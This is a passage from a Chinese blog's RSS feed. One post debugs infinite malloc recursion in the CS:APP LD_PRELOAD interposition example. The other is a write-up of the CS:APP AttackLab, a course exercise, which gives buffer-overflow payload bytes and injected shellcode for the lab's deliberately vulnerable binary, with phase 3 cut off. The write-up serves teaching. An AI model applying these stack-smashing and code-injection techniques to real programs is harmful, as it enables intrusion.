</content:encoded><category>JavaScript</category></item><item><title>处理运行时插桩错误</title><link>https://situ2001.com/blog/csapp/mymalloc-issue/</link><guid isPermaLink="true">https://situ2001.com/blog/csapp/mymalloc-issue/</guid><description>好好的代码怎么就Segmentation fault了呢</description><pubDate>Sun, 27 Feb 2022 07:10:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;出错&lt;/h2&gt;
&lt;p&gt;CS:APP 的第七章 Linking，书上给出了许多的示例代码&lt;/p&gt;
&lt;p&gt;众所周知，我们可以利用 &lt;code&gt;&amp;lt;dlfcn.h&amp;gt;&lt;/code&gt; 这个库进行运行时的代码插桩&lt;/p&gt;
&lt;p&gt;在介绍 Run-time interposing 的时候，书本给出了如下的代码，文件名为 &lt;code&gt;mymalloc.c&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注：代码在书本的第712页（机工出版社的《深入理解计算机系统》英文版第三版）&lt;/p&gt;
&lt;p&gt;下面为 &lt;code&gt;RUNTIME&lt;/code&gt; 部分，其他部分已略去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifdef RUNTIME
#define _GNU_SOURCE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;dlfcn.h&amp;gt;

/* malloc wrapper function */
void *malloc(size_t size)
{
    void *(*mallocp)(size_t size);
    char *error;

    mallocp = dlsym(RTLD_NEXT, &quot;malloc&quot;); /* Get address of libc malloc */
    if ((error = dlerror()) != NULL) {
        fputs(error, stderr);
        exit(1);
    }
    char *ptr = mallocp(size); /* Call libc malloc */
    printf(&quot;malloc(%d) = %p\n&quot;, (int)size, ptr);
    return ptr;
}

/* free wrapper function */
void free(void *ptr)
{
    void (*freep)(void *) = NULL;
    char *error;

    if (!ptr)
        return;

    freep = dlsym(RTLD_NEXT, &quot;free&quot;); /* Get address of libc free */
    if ((error = dlerror()) != NULL) {
        fputs(error, stderr);
        exit(1);
    }
    freep(ptr); /* Call libc free */
    printf(&quot;free(%p)\n&quot;, ptr);
}
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试用的代码 &lt;code&gt;int.c&lt;/code&gt; 如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;

int main()
{
    int *p = malloc(32);
    free(p);
    return(0); 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读过书的人都知道，测试用代码的 &lt;code&gt;malloc()&lt;/code&gt; 和 &lt;code&gt;free()&lt;/code&gt; ，实际调用的是 &lt;code&gt;mymalloc.c&lt;/code&gt; 上的 &lt;code&gt;malloc()&lt;/code&gt; 和 &lt;code&gt;free()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在执行前，先编译和链接吧，根据书上的说法，我们要这样进行操作&lt;/p&gt;
&lt;p&gt;先把 &lt;code&gt;mymalloc.c&lt;/code&gt; 编译为 Shared Object&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -Wall -DRUNTIME -shared -fpic -o mymalloc.so mymalloc.c -ldl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把 &lt;code&gt;int.c&lt;/code&gt; 编译为可执行目标文件 &lt;code&gt;intr&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -o intr int.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;若要运行，要指定动态链接器要优先搜索的共享库，即设置环境变量 &lt;code&gt;LD_PRELOAD&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LD_PRELOAD=&quot;./mymalloc.so&quot; ./intr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而当我们“顺利”地来到最后一步的时候，终端却把一个 Segmentation fault 狠狠地甩在了你脸上！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;situ@ubuntu:~/Desktop/solutions-csapp/chapter7/interpose$ LD_PRELOAD=&quot;./mymalloc.so&quot; ./intr
Segmentation fault (core dumped)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;调试&lt;/h2&gt;
&lt;p&gt;哎呀，怎么我跟着书本好好操作，结果就错了呢？是爆栈了呢还是访问到了不允许访问的内存区域呢还是其他玄学问题呢？&lt;/p&gt;
&lt;p&gt;提前猜猜可以是可以，但是，先辈告诉我们，出错的时候不要瞎猜，要好好地动起自己的双手，利用现有的工具(&lt;code&gt;gdb&lt;/code&gt;)，来进行调试排错&lt;/p&gt;
&lt;p&gt;想到这里，我立即进行调试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb ./intr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 gdb 中，指定环境变量 &lt;code&gt;LD_PRELOAD&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) set exec-wrapper env &apos;LD_PRELOAD=./mymalloc.so&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行，果不其然，我们得到了 Segmentation fault 错误&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) run
Starting program: /home/situ/Desktop/solutions-csapp/chapter7/interpose/intr 

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7f20844 in __GI__dl_catch_exception (exception=exception@entry=0x7fffff7ff0c0, operate=0x7ffff7db8490 &amp;lt;dlsym_doit&amp;gt;, args=0x7fffff7ff130)
    at dl-error-skeleton.c:175
175     dl-error-skeleton.c: No such file or directory.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不多哔哔，先看看 stack trace&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) info stack
#0  0x00007ffff7f20844 in __GI__dl_catch_exception (exception=exception@entry=0x7fffff7ff0c0, operate=0x7ffff7db8490 &amp;lt;dlsym_doit&amp;gt;, 
    args=0x7fffff7ff130) at dl-error-skeleton.c:175
#1  0x00007ffff7f20983 in __GI__dl_catch_error (objname=0x7ffff7dbc0f0 &amp;lt;last_result+16&amp;gt;, errstring=0x7ffff7dbc0f8 &amp;lt;last_result+24&amp;gt;, 
    mallocedp=0x7ffff7dbc0e8 &amp;lt;last_result+8&amp;gt;, operate=&amp;lt;optimized out&amp;gt;, args=&amp;lt;optimized out&amp;gt;) at dl-error-skeleton.c:227
#2  0x00007ffff7db8b59 in _dlerror_run (operate=operate@entry=0x7ffff7db8490 &amp;lt;dlsym_doit&amp;gt;, args=args@entry=0x7fffff7ff130) at dlerror.c:170
#3  0x00007ffff7db8525 in __dlsym (handle=&amp;lt;optimized out&amp;gt;, name=0x7ffff7fc4000 &quot;malloc&quot;) at dlsym.c:70
#4  0x00007ffff7fc31bc in malloc () from ./mymalloc.so
#5  0x00007ffff7e41e84 in __GI__IO_file_doallocate (fp=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at filedoalloc.c:101
#6  0x00007ffff7e52050 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at libioP.h:948
#7  0x00007ffff7e510b0 in _IO_new_file_overflow (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, ch=-1) at fileops.c:745
#8  0x00007ffff7e4f835 in _IO_new_file_xsputn (n=7, data=&amp;lt;optimized out&amp;gt;, f=&amp;lt;optimized out&amp;gt;) at libioP.h:948
#9  _IO_new_file_xsputn (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, data=&amp;lt;optimized out&amp;gt;, n=7) at fileops.c:1197
#10 0x00007ffff7e36af2 in __vfprintf_internal (s=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, format=0x7ffff7fc4007 &quot;malloc(%d) = %p\n&quot;, 
    ap=ap@entry=0x7fffff7ff890, mode_flags=mode_flags@entry=0) at ../libio/libioP.h:948
#11 0x00007ffff7e21ebf in __printf (format=&amp;lt;optimized out&amp;gt;) at printf.c:33
#12 0x00007ffff7fc3224 in malloc () from ./mymalloc.so
#13 0x00007ffff7e41e84 in __GI__IO_file_doallocate (fp=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at filedoalloc.c:101
#14 0x00007ffff7e52050 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at libioP.h:948
#15 0x00007ffff7e510b0 in _IO_new_file_overflow (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, ch=-1) at fileops.c:745
#16 0x00007ffff7e4f835 in _IO_new_file_xsputn (n=7, data=&amp;lt;optimized out&amp;gt;, f=&amp;lt;optimized out&amp;gt;) at libioP.h:948
#17 _IO_new_file_xsputn (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, data=&amp;lt;optimized out&amp;gt;, n=7) at fileops.c:1197
#18 0x00007ffff7e36af2 in __vfprintf_internal (s=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, format=0x7ffff7fc4007 &quot;malloc(%d) = %p\n&quot;, 
    ap=ap@entry=0x7fffff800080, mode_flags=mode_flags@entry=0) at ../libio/libioP.h:948
#19 0x00007ffff7e21ebf in __printf (format=&amp;lt;optimized out&amp;gt;) at printf.c:33
#20 0x00007ffff7fc3224 in malloc () from ./mymalloc.so
#21 0x00007ffff7e41e84 in __GI__IO_file_doallocate (fp=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at filedoalloc.c:101
#22 0x00007ffff7e52050 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at libioP.h:948
#23 0x00007ffff7e510b0 in _IO_new_file_overflow (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, ch=-1) at fileops.c:745
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好长的的 trace，经过一番观察，发现了这么一个情况：malloc在不断地被递归调用！最后一次调用的时候，可以看出，爆栈了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#0  0x00007ffff7f20844 in __GI__dl_catch_exception (exception=exception@entry=0x7fffff7ff0c0, operate=0x7ffff7db8490 &amp;lt;dlsym_doit&amp;gt;, 
    args=0x7fffff7ff130) at dl-error-skeleton.c:175
#1  0x00007ffff7f20983 in __GI__dl_catch_error (objname=0x7ffff7dbc0f0 &amp;lt;last_result+16&amp;gt;, errstring=0x7ffff7dbc0f8 &amp;lt;last_result+24&amp;gt;, 
    mallocedp=0x7ffff7dbc0e8 &amp;lt;last_result+8&amp;gt;, operate=&amp;lt;optimized out&amp;gt;, args=&amp;lt;optimized out&amp;gt;) at dl-error-skeleton.c:227
#2  0x00007ffff7db8b59 in _dlerror_run (operate=operate@entry=0x7ffff7db8490 &amp;lt;dlsym_doit&amp;gt;, args=args@entry=0x7fffff7ff130) at dlerror.c:170
#3  0x00007ffff7db8525 in __dlsym (handle=&amp;lt;optimized out&amp;gt;, name=0x7ffff7fc4000 &quot;malloc&quot;) at dlsym.c:70
#4  0x00007ffff7fc31bc in malloc () from ./mymalloc.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们先去栈底看看吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) info stack -20
#32994 0x00007ffff7e36af2 in __vfprintf_internal (s=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, format=0x7ffff7fc4007 &quot;malloc(%d) = %p\n&quot;, 
    ap=ap@entry=0x7fffffffcee0, mode_flags=mode_flags@entry=0) at ../libio/libioP.h:948
#32995 0x00007ffff7e21ebf in __printf (format=&amp;lt;optimized out&amp;gt;) at printf.c:33
#32996 0x00007ffff7fc3224 in malloc () from ./mymalloc.so
#32997 0x00007ffff7e41e84 in __GI__IO_file_doallocate (fp=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at filedoalloc.c:101
#32998 0x00007ffff7e52050 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at libioP.h:948
#32999 0x00007ffff7e510b0 in _IO_new_file_overflow (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, ch=-1) at fileops.c:745
#33000 0x00007ffff7e4f835 in _IO_new_file_xsputn (n=7, data=&amp;lt;optimized out&amp;gt;, f=&amp;lt;optimized out&amp;gt;) at libioP.h:948
#33001 _IO_new_file_xsputn (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, data=&amp;lt;optimized out&amp;gt;, n=7) at fileops.c:1197
#33002 0x00007ffff7e36af2 in __vfprintf_internal (s=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, format=0x7ffff7fc4007 &quot;malloc(%d) = %p\n&quot;, 
    ap=ap@entry=0x7fffffffd6d0, mode_flags=mode_flags@entry=0) at ../libio/libioP.h:948
#33003 0x00007ffff7e21ebf in __printf (format=&amp;lt;optimized out&amp;gt;) at printf.c:33
#33004 0x00007ffff7fc3224 in malloc () from ./mymalloc.so
#33005 0x00007ffff7e41e84 in __GI__IO_file_doallocate (fp=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at filedoalloc.c:101
#33006 0x00007ffff7e52050 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at libioP.h:948
#33007 0x00007ffff7e510b0 in _IO_new_file_overflow (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, ch=-1) at fileops.c:745
#33008 0x00007ffff7e4f835 in _IO_new_file_xsputn (n=7, data=&amp;lt;optimized out&amp;gt;, f=&amp;lt;optimized out&amp;gt;) at libioP.h:948
#33009 _IO_new_file_xsputn (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, data=&amp;lt;optimized out&amp;gt;, n=7) at fileops.c:1197
#33010 0x00007ffff7e36af2 in __vfprintf_internal (s=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, format=0x7ffff7fc4007 &quot;malloc(%d) = %p\n&quot;, 
    ap=ap@entry=0x7fffffffdec0, mode_flags=mode_flags@entry=0) at ../libio/libioP.h:948
#33011 0x00007ffff7e21ebf in __printf (format=&amp;lt;optimized out&amp;gt;) at printf.c:33
#33012 0x00007ffff7fc3224 in malloc () from ./mymalloc.so
#33013 0x000055555555517f in main ()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;从上面的调试结果，我们从栈上截取一部分，下面是 &lt;code&gt;malloc()&lt;/code&gt; 被调用一次的时候，栈上的内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#33005 0x00007ffff7e41e84 in __GI__IO_file_doallocate (fp=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at filedoalloc.c:101
#33006 0x00007ffff7e52050 in __GI__IO_doallocbuf (fp=fp@entry=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;) at libioP.h:948
#33007 0x00007ffff7e510b0 in _IO_new_file_overflow (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, ch=-1) at fileops.c:745
#33008 0x00007ffff7e4f835 in _IO_new_file_xsputn (n=7, data=&amp;lt;optimized out&amp;gt;, f=&amp;lt;optimized out&amp;gt;) at libioP.h:948
#33009 _IO_new_file_xsputn (f=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, data=&amp;lt;optimized out&amp;gt;, n=7) at fileops.c:1197
#33010 0x00007ffff7e36af2 in __vfprintf_internal (s=0x7ffff7fa96a0 &amp;lt;_IO_2_1_stdout_&amp;gt;, format=0x7ffff7fc4007 &quot;malloc(%d) = %p\n&quot;, 
    ap=ap@entry=0x7fffffffdec0, mode_flags=mode_flags@entry=0) at ../libio/libioP.h:948
#33011 0x00007ffff7e21ebf in __printf (format=&amp;lt;optimized out&amp;gt;) at printf.c:33
#33012 0x00007ffff7fc3224 in malloc () from ./mymalloc.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以很明显地看出 &lt;code&gt;printf&lt;/code&gt; 函数的内部调用中，&lt;code&gt;__GI__IO_file_doallocate()&lt;/code&gt; 也调用了 &lt;code&gt;malloc()&lt;/code&gt; 这个函数！&lt;/p&gt;
&lt;p&gt;很好，我们找到了导致 &lt;code&gt;malloc()&lt;/code&gt; 被递归调用的源头，就是我们的定义的 &lt;code&gt;malloc()&lt;/code&gt; 里头的 &lt;code&gt;printf()&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;解决&lt;/h2&gt;
&lt;p&gt;要解决这个问题，关键就是：只让 &lt;code&gt;printf()&lt;/code&gt; 被调用一次，打印出我们要的信息就行了。&lt;/p&gt;
&lt;p&gt;也就是说，&lt;code&gt;malloc()&lt;/code&gt; 里头的 &lt;code&gt;printf()&lt;/code&gt; 的内部函数调用我们的 &lt;code&gt;malloc()&lt;/code&gt; 的时候，我们的 &lt;code&gt;malloc()&lt;/code&gt; 里头的 &lt;code&gt;printf()&lt;/code&gt; 不能再次被调用&lt;/p&gt;
&lt;p&gt;想一想，这不是很像一个递归函数的结束条件吗？&lt;/p&gt;
&lt;p&gt;有方向了，立即上手进行修改&lt;/p&gt;
&lt;p&gt;给&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf(&quot;malloc(%d) = %p\n&quot;, (int)size, ptr);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加个 &lt;code&gt;flag&lt;/code&gt; 和条件判断&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static char flag = 0;
if (flag == 0)
{
    flag = 1;
    printf(&quot;malloc(%d) = %p\n&quot;, (int)size, ptr);
    flag = 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改后再次编译。接着运行 &lt;code&gt;intr&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;situ@ubuntu:~/Desktop/solutions-csapp/chapter7/interpose$ LD_PRELOAD=&quot;./mymalloc.so&quot; ./intr
malloc(32) = 0x555604a602a0
free(0x555604a602a0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;YES 问题解决！&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;问题解决是解决了，但我很好奇，为什么会出现这种错误呢？&lt;/p&gt;
&lt;p&gt;虽然人无完人，物无完物，但我还想再想多一步，，，&lt;/p&gt;
&lt;p&gt;其实吧，这本书的作者这么厉害，那我认为，这个错误不是无意犯下的，它应该只是作者为了减少读者的思想负担，才写成这个样子吧 &lt;s&gt;强行解释&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>Lab</category></item><item><title>Writeup for AttackLab</title><link>https://situ2001.com/blog/csapp/attacklab-writeup/</link><guid isPermaLink="true">https://situ2001.com/blog/csapp/attacklab-writeup/</guid><description>CS:APP实验之缓冲区溢出</description><pubDate>Thu, 04 Nov 2021 03:11:11 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;我一直以为，把炸弹给拆完，chapter3就完结撒花了，结果没想到还有一个attack lab&lt;/p&gt;
&lt;p&gt;这个实验是给我们体验缓冲区溢出攻击的，算是有点意思&lt;/p&gt;
&lt;p&gt;攻击的两个方法分别是：&lt;strong&gt;Code Injection&lt;/strong&gt; 和 &lt;strong&gt;Return-Orient Programming&lt;/strong&gt;，即代码注入和面向返回编程&lt;/p&gt;
&lt;p&gt;记得，在我们开始之前，必须，必须，必须得阅读本实验的Writeup！实验怎么做以及实验的相关信息都在里头！&lt;s&gt;（我刚开始没注意到）&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Writeup请去官网自取：&lt;a href=&quot;http://csapp.cs.cmu.edu/3e/labs.html&quot;&gt;点击这里&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;开始之前&lt;/h2&gt;
&lt;p&gt;此份实验包含了如下五个文件，都是有用的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;README.txt: A file describing the contents of the directory

ctarget: An executable program vulnerable to code-injection attacks

rtarget: An executable program vulnerable to return-oriented-programming attacks

cookie.txt: An 8-digit hex code that you will use as a unique identifier in your attacks.

farm.c: The source code of your target’s “gadget farm,” which you will use in generating return-oriented programming attacks.

hex2raw: A utility to generate attack strings.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从Writeup里头总结一下吧，大概有下面几点&lt;/p&gt;
&lt;p&gt;首先程序&lt;code&gt;ctarget&lt;/code&gt;和&lt;code&gt;rtarget&lt;/code&gt;都会从标准流中读取字符串，读取字符串的函数&lt;code&gt;getbuf()&lt;/code&gt;如下，函数&lt;code&gt;Gets()&lt;/code&gt;来读取字符串，等价于&lt;code&gt;gets()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned getbuf()
{
  char buf[BUFFER_SIZE];
  Gets(buf);
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而你的目的就是：利用Buffer Overflow，将将参数带上（可选）并跳转到对应的函数&lt;code&gt;touch1&lt;/code&gt;，&lt;code&gt;touch2&lt;/code&gt;或&lt;code&gt;touch3&lt;/code&gt;上&lt;/p&gt;
&lt;p&gt;大体流程就是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;构造字节码&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;hex2raw&lt;/code&gt;来将字节码生成为对应的字符串&lt;/li&gt;
&lt;li&gt;将生成的字符串流入&lt;code&gt;ctarget -q&lt;/code&gt;或&lt;code&gt;rtarget -q&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;./hex2raw &amp;lt; phase_1.txt | ./ctarget -q
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由自己写的汇编构造字节码的时候，可以这么操作，先编译为目标文件后进行反汇编，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -c phase_2.s
objdump -d phase_2.o
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Code Injection&lt;/h2&gt;
&lt;p&gt;主要思路是通过缓冲区溢出，先在栈里注入自己的代码（字节码），然后溢出后修改&lt;code&gt;ret&lt;/code&gt;的地址为自己注入的代码所在的地址。这样，你注入的代码就会被执行了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void test()
{
  int val;
  val = getbuf();
  printf(&quot;No exploit. Getbuf returned 0x%x\n&quot;, val);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在调用&lt;code&gt;getbuf()&lt;/code&gt;的时候，我们就要输入我们构造的字符串，进行缓冲区溢出攻击了&lt;/p&gt;
&lt;h3&gt;Phase 1&lt;/h3&gt;
&lt;p&gt;我们要跳转到&lt;code&gt;touch1&lt;/code&gt;函数去，该函数不用带参数，所以我们不用准备参数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void touch1()
{
  vlevel = 1; /* Part of validation protocol */
  printf(&quot;Touch1!: You called touch1()\n&quot;);
  validate(1);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在汇编代码里头，可以找到&lt;code&gt;&amp;lt;touch1&amp;gt;&lt;/code&gt;的地址为&lt;code&gt;4017c0&lt;/code&gt;，我们只需要通过溢出，将&lt;code&gt;ret&lt;/code&gt;的地址改写成这个就行了。所以我们得再看看，程序为这个函数分配了多少的栈空间&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getbuf()&lt;/code&gt;的汇编代码如下，可以看到分配了&lt;code&gt;0x28&lt;/code&gt;即40字节。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000004017a8 &amp;lt;getbuf&amp;gt;:
  4017a8: 48 83 ec 28           sub    $0x28,%rsp
  4017ac: 48 89 e7              mov    %rsp,%rdi
  4017af: e8 8c 02 00 00        callq  401a40 &amp;lt;Gets&amp;gt;
  4017b4: b8 01 00 00 00        mov    $0x1,%eax
  4017b9: 48 83 c4 28           add    $0x28,%rsp
  4017bd: c3                    retq   
  4017be: 90                    nop
  4017bf: 90                    nop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要覆写&lt;code&gt;ret&lt;/code&gt;的地址，我们只需要构造字节码即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /* modify ret address saved on stack */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PASS&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  attacklab git:(main) ✗ ./hex2raw &amp;lt; phase_1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phase 2&lt;/h3&gt;
&lt;p&gt;首先实验要求我们跳到&lt;code&gt;touch2()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void touch2(unsigned val)
{
  vlevel = 2; /* Part of validation protocol */
  if (val == cookie) {
    printf(&quot;Touch2!: You called touch2(0x%.8x)\n&quot;, val);
    validate(2);
  } else {
    printf(&quot;Misfire: You called touch2(0x%.8x)\n&quot;, val);
    fail(2);
  }
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果参数为cookie的话，就会PASS，否则不会。&lt;/p&gt;
&lt;p&gt;也不是非常难的样子，只要把cookie即&lt;code&gt;0x59b997fa&lt;/code&gt;给送入&lt;code&gt;%rdi&lt;/code&gt;里头，然后跳转到&lt;code&gt;touch2&lt;/code&gt;即可。&lt;/p&gt;
&lt;p&gt;我们先构造一下汇编代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov $0x59b997fa, %rdi
pushq $0x4017ec
retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将汇编给编译后反汇编，得出对应的字节码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000000000 &amp;lt;.text&amp;gt;:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一部分的attack，没有开启栈地址随机化，因此我们可以通过GDB打断点，得出&lt;code&gt;%rsp&lt;/code&gt;的地址为&lt;code&gt;0x5561dc78&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以最后构造出来的字节码如下，注意，汇编指令的字节码，不需要按大小端序进行排布。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* to injected code */
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phase 3&lt;/h3&gt;
&lt;p&gt;这个attack是要我们跳转到&lt;code&gt;touch3()&lt;/code&gt;中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; /* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
  char cbuf[110];
  /* Make position of check string unpredictable */
  char *s = cbuf + random() % 100;
  sprintf(s, &quot;%.8x&quot;, val);
  return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
  vlevel = 3; /* Part of validation protocol */
  if (hexmatch(cookie, sval)) {
    printf(&quot;Touch3!: You called touch3(\&quot;%s\&quot;)\n&quot;, sval);
    validate(3);
  } else {
    printf(&quot;Misfire: You called touch3(\&quot;%s\&quot;)\n&quot;, sval);
    fail(3);
  }
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Writeup里头写了这些&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When functions hexmatch and strncmp are called, they push data onto the stack, &lt;strong&gt;overwriting portions of memory that held the buffer used by getbuf&lt;/strong&gt;. As a result, you will need to be careful where you place the string representation of your cookie.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;可以看到，touch3相关的函数会把&lt;code&gt;getbuf()&lt;/code&gt;栈里头的内容给覆写掉，所以我们要好好想想如何保护我们注入的代码和字符串。&lt;/p&gt;
&lt;p&gt;从&lt;code&gt;hexmatch()&lt;/code&gt;的汇编也可以看出，实际是对着&lt;code&gt;%rsp&lt;/code&gt;减了126，应该是用来给&lt;code&gt;cbuf[110]&lt;/code&gt;用的，从代码上可以看出，这波是在随机的起始地址上存了cookie的字符串，那么也就是说，&lt;code&gt;hexmatch&lt;/code&gt;函数随机存入的cookie string，有可能会把我们构造的字符串给覆盖掉&lt;/p&gt;
